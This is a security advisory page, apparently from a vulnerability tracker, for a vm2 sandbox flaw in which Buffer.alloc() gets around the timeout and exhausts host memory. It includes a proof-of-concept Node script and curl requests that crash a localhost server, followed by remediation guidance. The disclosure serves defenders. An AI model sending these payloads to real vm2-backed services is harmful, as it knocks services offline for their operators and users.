Skip to main content

vm2 CVE-2026-44004

HIGH
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-05-07 https://github.com/patriksimek/vm2 GHSA-6785-pvv7-mvg7
7.5
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Red Hat
8.6 HIGH
qualitative

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 07, 2026 - 04:47 vuln.today
Analysis Generated
May 07, 2026 - 04:47 vuln.today
CVE Published
May 07, 2026 - 04:26 nvd
HIGH 7.5

DescriptionCVE.org

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

  • JavaScript loops: V8 can interrupt via timeout - vm2's timeout option works
  • Buffer.alloc(N): Executes as a single synchronous C++ call - V8 timeout has no opportunity to interrupt

This means:

  1. timeout: 5000 does NOT protect against this attack
  2. A single call allocates the entire requested size at once
  3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request - 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script - primary):

javascript
const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout - allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 - timeout had no effect

// Control test - JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

bash
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}
# 2. Send Buffer.alloc payload - process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)
# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
# Control test - JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive - timeout works for JS, but NOT for Buffer.alloc

Impact

  • DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
  • Environment-dependent severity:
  • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario - FATAL ERROR: Reached heap limit was confirmed in testing.
  • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
  • Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

AnalysisAI

Denial-of-service in vm2 Node.js sandbox allows unauthenticated remote attackers to crash host processes via unbounded Buffer.alloc() calls. The vm2 library's timeout mechanism cannot interrupt synchronous C++ native calls, enabling attackers to bypass configured timeout limits and exhaust host heap memory with a single HTTP request. Version 3.11.0 patches this flaw by introducing bufferAllocLimit controls. Publicly available exploit code exists (GHSA-6785-pvv7-mvg7 includes working POC), and while EPSS data is unavailable and the vulnerability is not listed in CISA KEV, the vendor-confirmed POC demonstrates reliable exploitation against default configurations.

Technical ContextAI

The vm2 library (pkg:npm/vm2) provides JavaScript sandboxing for Node.js by isolating untrusted code execution. The vulnerability stems from CWE-770 (Allocation of Resources Without Limits or Throttling) in how vm2 exposes Node.js Buffer objects to sandboxed contexts. In lib/vm.js:58, the Buffer constructor is passed through the HOST object bridge to sandboxed code without size validation. When sandboxed code calls Buffer.alloc(N), the request is forwarded to Node.js's native C++ implementation in V8/libuv, which performs a synchronous heap allocation. Unlike pure JavaScript operations that V8 can interrupt via timeout checks at bytecode boundaries, synchronous native calls execute atomically from V8's perspective-the timeout mechanism has no interrupt point. This architectural limitation means vm2's timeout option (designed to prevent infinite loops) cannot stop Buffer.alloc() from consuming arbitrary memory. The attack exploits the semantic gap between JavaScript-level resource controls and native C++ allocation primitives.

RemediationAI

Vendor-released patch: Upgrade to vm2 version 3.11.0 or later, available at https://github.com/patriksimek/vm2/releases/tag/v3.11.0. The patch introduces a new bufferAllocLimit configuration option that enforces size validation on Buffer.alloc() calls before forwarding to the native layer. After upgrading, configure memory limits appropriate to your use case-for example, new VM({ timeout: 5000, bufferAllocLimit: 10485760 }) restricts allocations to 10MB. If immediate upgrade is not feasible, implement these compensating controls with noted trade-offs: (1) Deploy vm2 processes in memory-limited containers (docker run --memory=512m) to contain blast radius-this converts host-wide OOM into container-level crash, enabling orchestrator restart but still causes request-level DoS; (2) Place rate-limiting and request size validation in front of vm2 execution endpoints-limit concurrent executions per client IP and reject requests exceeding reasonable code size thresholds, though sophisticated attackers can still trigger OOM within rate limits; (3) Monitor process memory usage and implement circuit-breaker patterns that reject new execution requests when memory utilization exceeds 80%-introduces false-positive rejections under legitimate high load. None of these workarounds address the root cause timeout bypass; they only limit impact scope. For production environments executing untrusted code, the vendor explicitly recommends upgrading: 'Embedders running untrusted code should upgrade' per release notes.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

CVE-2026-25996 CRITICAL POC
9.8 Feb 12

String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter

Vendor StatusVendor

Share

CVE-2026-44004 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy